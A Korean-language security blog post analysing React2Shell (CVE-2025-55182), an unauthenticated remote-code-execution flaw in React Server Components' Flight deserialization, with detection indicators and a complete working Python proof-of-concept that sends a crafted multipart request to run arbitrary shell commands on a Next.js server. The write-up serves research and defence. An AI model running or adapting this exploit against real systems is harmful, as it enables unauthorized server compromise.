
React2Shell, CVE-2025-55182, RCE 취약점: React Server Components의 안전하지 않은 역직렬화 결함에 대한 심층 분석으로, 기본 React/Next.js 환경에서 인증되지 않은 원격 코드 실행을 가능하게 합니다.
React2Shell (CVE-2025-55182)는 React 19.x 및 Next.js와 같은 프레임워크의 React Server Components(RSC)에 영향을 미치는 심각한 원격 코드 실행(RCE) 취약점입니다. 이 결함은 "Flight" 프로토콜 청크의 안전하지 않은 역직렬화에 있으며, 공격자가 Function 생성자로 이어지는 악성 구조를 주입하여 서버에서 임의의 JavaScript를 실행할 수 있도록 합니다.
React Server Components는 클라이언트/서버 렌더링을 더 원활하고 구성 가능한 워크플로우로 연결하기 위해 도입되었습니다. 이를 위해 React는 Flight 프로토콜이라는 사용자 정의 바이너리 계열 직렬화 채널을 사용합니다.
불행히도, 이 프로토콜의 역직렬화 로직에는 공격자가 악성 페이로드를 React의 런타임 깊숙이 밀반입할 수 있는 미묘한 결함이 있었습니다.
결과는? 완전하고 인증되지 않은 원격 코드 실행 체인이며, 지금은 React2Shell이라고 불립니다 — 네, 그 영향 규모와 접근성은 Log4Shell에 비견됩니다. 🔥
이 글은 취약점을 깔끔하고 실행 가능한 형식으로 분석합니다 — VAPT 실무자, 연구자, 방어자에게 이상적입니다.
RSC는 참조, 객체, 컴포넌트 메타데이터, 비동기 경계 등을 나타내는 직렬화된 "청크"를 전송하여 클라이언트와 통신합니다.
이러한 청크가 서버나 클라이언트에 도착하면 React는 이를 다시 객체와 함수로 역직렬화합니다.
이 과정은 데이터 구조가 안전하다고 가정합니다. 바로 여기서 문제가 발생했습니다.
공격자는 다음을 포함하는 악성 청크를 제작하는 방법을 찾았습니다:
thenables)예시 패턴:
"$then": { "constructor": { "prototype": null } }
역직렬화 중에 React는 이 객체를 thenable로 해석하고 다음을 호출합니다:
promise.then(...)
하지만 여기서 then은 실제로 Function 생성자이므로 호출은 다음과 같이 됩니다:
(new Function("malicious_payload"))();
이로 인해 React Server Components를 실행하는 Node.js 환경 내에서 임의의 JavaScript 실행이 발생합니다.
짜잔 — RCE를 얻었습니다.
이것이 이 취약점이 공개되자 클라우드 벤더, 보안팀, CERT가 즉시 대응한 이유입니다.
다음으로의 Multipart POST 요청:
/react/rsc/server, /flight, /server-actions다음과 같은 키를 포함하는 페이로드:
$then$proto$constructor$type다음과 같은 의심스러운 Node.js 실행:
node -e "<payload>"
다음 아래의 예상치 못한 파일:
/tmp/react-rce-*/var/tmp/node-rce-*⚠️ 중요 참고
저는 이 PoC의 소유자가 아닙니다.
다음 공개 리포지토리에서 참조하였으며, 모든 저작권은 작성자에게 있습니다:
👉 https://github.com/msanft/CVE-2025-55182
다음 개념 증명(PoC)은 교육 및 방어적 사이버보안 연구 목적으로만 제공됩니다.
격리된 실험실 환경 또는 테스트할 명시적 권한이 있는 시스템에서만 실행해야 합니다.
이 코드를 무단 액세스, 악용 또는 시스템 손상에 오용하는 것은 불법이며 비윤리적이며 사이버보안 법률에 따라 처벌받을 수 있습니다.
책임감 있게 진행하세요. 🛡️💻
다음은 전체 PoC입니다:
# CREDIT: https://github.com/msanft/CVE-2025-55182
# Do NOT run in production. Research-use only.
# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json
BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id"
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
# If you don't need the command output, you can use this line instead:
# "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)
이 PoC를 실행했다면 통제된 샌드박스에서만 실행했는지 확인하고, 프로덕션 또는 타사 자산에서 실행하지 마십시오.
이 데모는 분석가, 개발자, 방어자가 CVE-2025-55182 (React2Shell)를 이해하고, 탐지하고, 완화하는 데 도움을 주기 위해서만 존재합니다.
이 정보의 악의적이거나 무단 사용은 엄격히 금지되며 작성자가 지지하지 않습니다.
윤리적으로 행동하고 안전을 유지하세요. 🐉🔥
React2Shell은 직렬화 계층이 아무리 우아하더라도 현대 프레임워크에서 가장 위험한 구성 요소 중 하나라는 강력한 상기입니다. 검증 없이 임의의 객체가 런타임에 닿는 순간, RCE로의 체인은 고통스러울 정도로 짧아집니다.
읽어주셔서 감사합니다 — 항상 그렇듯, 윤리적으로 해킹하고, 끊임없이 배우고, 보안에 대한 열정을 불태우세요. 🔥🐉
이 글을 재미있게 읽으셨거나 제 사이버보안 연구와 연락을 유지하고 싶다면:
🔗 GitHub: https://github.com/AdityaBhatt3010
💼 LinkedIn: https://www.linkedin.com/in/adityabhatt3010/
✍️ Medium: https://medium.com/@adityabhatt3010